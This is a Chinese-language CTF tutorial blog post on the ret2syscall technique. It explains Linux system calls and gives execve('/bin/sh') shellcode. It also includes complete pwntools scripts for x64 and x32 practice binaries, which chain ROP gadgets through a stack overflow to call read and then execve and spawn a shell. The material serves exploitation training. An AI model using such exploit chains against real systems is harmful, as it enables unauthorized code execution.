pwn学习-ret2syscall

系统调用

操作系统会内置一些函数,例如常见的readwrite,读取和写入。在Linux中使用这些内置的函数叫做系统调用。
系统调用就是内核为用户提供的一个接口,系统内置很多进程和服务,直接让用户操作很危险也容易出现故障,所以用户层不能直接执行系统层的操作,但是有了这个系统调用的接口,用户可以使用这个接口来调用系统中的服务。

可以使用汇编代码写一个简单的系统调用,例如我们常见的getshell代码

xor   rdx, rdx
mov   qword rbx, '//bin/sh'
shr   rbx, 0x8
push  rbx
mov   rdi, rsp
push  rax
push  rdi
mov   rsi, rsp
mov   al, 0x3b
syscall 

0x3bx64中是execve的系统号,准备好参数后,使用syscall进行系统调用getshell

在系统调用时,不管是x32和x64都是使用寄存器进行参数的传参,在调用调用某个函数的时候,需要设置好对应的参数到寄存器中,然后使用syscall调用,一般称syscall为中断标志,因为一般情况下我们在执行一个程序时中间忽然插入一个系统调用,这时程序就中断了,会在执行完系统调用然后继续执行程序。

在系统调用的传参时,不同的寄存器已经规定好了该寄存器是系统调用的那一个参数,例如常见的如下图:

  • rax寄存器负责保存系统调用号
  • rdi寄存器负责保存系统调用的第一个参数
  • rsi寄存器负责保存系统调用的第二个参数
  • rdx寄存器负责保存系统调用的第三个参数
    ..... ..... 等等

可以参考下面这两个网站:

在做pwn题目的时候,一个程序拥有栈溢出漏洞,但是没有找到system函数的调用,并且开启了NX保护机制,如果该程序使用static link(静态链接)的方式编译,可以尝试ret2syscall进行栈溢出漏洞

在分析的时候,我们通常会先考虑该程序中是否有/bin/sh字符串,如果有可以直接使用,如果没有需要使用read()系统调用自己写入

ret2syscall实操

使用程序如下:
链接:https://pan.baidu.com/s/1jpci_4r0VHA_r4euhKGRJQ
提取码:es3k

这里我对x64进行分析,后续我会将x32x64的脚本放到最下方,x32x64的区别就是使用的寄存器名称不一样,其他都一样
首先分析该程序的基本信息:

接着使用ida分析程序伪代码

ret2syscall函数存在栈溢出0x30 + 0x8

编写脚本如下:

from pwn import *

p = process("./x64_ret2syscall")
# p = remote("192.168.154.176",8888)
p.recvuntil("Welcome to x64_ret2syscall")

buf = 0x6cc000 - 0x40
syscall = 0x0000000000467565
pop_rax_ret = 0x000000000041f5b4

pop_rdi_ret = 0x0000000000401656
pop_rsi_ret = 0x0000000000401777
pop_rdx_ret = 0x0000000000442a46
pop_rdx_rsi_ret = 0x0000000000442a69

padding = 0x30 + 0x8
payload = b"A" * padding 
# read(0,buf,8)
# payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(buf) + p64(pop_rdx_ret) + p64(8)
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rdx_rsi_ret) + p64(8) + p64(buf)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(syscall)

# execve("/bin/sh",0,0)
# payload += p64(pop_rdi_ret) + p64(buf) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(buf) + p64(pop_rdx_rsi_ret) + p64(0) + p64(0)
payload += p64(pop_rax_ret) + p64(0x3b)
payload += p64(syscall)


p.send(payload)
p.send("/bin/sh")
p.interactive()

gadget这里使用ropper获取,使用pip install ropper安装

上述我演示了syscallgadget如何获取,其余的rdi、rsi、rdx获取方式相同
注意: 我们使用read()系统调用后需要send()发送/bin/sh写入到data数据段中

如何获取data数据段的地址呢?
首先使用pwndbg x64_ret2syscall,接着输入b main断点,然后run,最后使用vmmap查看

0x6cc000,我们写入的是规定的8个字节,所以需要buf = 0x6cc000 - 0x40

最后本地运行得到shell

x32脚本

from pwn import *

p = process("./ret2syscall")
p.recvuntil("Welcome to ret2syscall")

buf = 0x80eb000 - 0x40
syscall = 0x0806f4c0

pop_eax_ret = 0x08072b14

pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080de945
pop_edx_ret = 0x0806eeba

pop_edx_ecx_ebx = 0x0806eee0 #: pop edx; pop ecx; pop ebx; ret; 



padding = 0x30 + 0x4
payload = b"A" * padding 
# read(0,buf,8)
# payload += p32(pop_ebx_ret) + p32(0) + p32(pop_ecx_ret) + p32(buf) + p32(pop_edx_ret) + p32(8)
payload += p32(pop_edx_ecx_ebx) + p32(8) + p32(buf) + p32(0)
# read sys_call
payload += p32(pop_eax_ret) + p32(3)
payload += p32(syscall)

# execve("/bin/sh",0,0)
# payload += p32(pop_ebx_ret) + p32(buf) + p32(pop_ecx_ret) + p32(0) + p32(pop_edx_ret) + p32(0)
payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(buf)
# execve sys_call
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(syscall)


p.send(payload)
p.send("/bin/sh")
p.interactive()
posted @ 2024-06-01 12:16  Junglezt  阅读(188)  评论(0编辑  收藏  举报